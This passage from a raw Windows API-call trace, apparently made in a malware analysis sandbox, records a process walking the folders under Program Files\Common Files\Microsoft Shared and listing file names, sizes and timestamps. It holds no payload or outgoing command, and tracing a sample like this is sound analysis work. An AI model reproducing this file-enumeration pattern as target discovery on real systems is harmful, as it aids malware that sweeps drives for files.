ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.869] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.869] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0050.869] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.870] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.870] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0050.870] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.870] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.871] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0050.871] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.871] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.871] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0050.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.872] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.872] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0050.872] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.872] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.873] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0050.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.873] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.873] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0050.873] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.873] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.873] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0050.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.873] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.874] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0050.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.875] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.875] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0050.875] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.876] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.876] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0050.876] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.876] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.876] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0050.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.877] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.877] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0050.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.879] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.879] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0050.881] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.881] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5ed80 | out: lpFindFileData=0x2d5ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0050.881] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0050.881] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0050.881] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0050.881] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.881] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.882] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0050.882] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.882] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.882] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0050.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.883] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.883] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.884] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.884] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0050.884] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.884] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.884] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0050.884] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.884] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.884] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 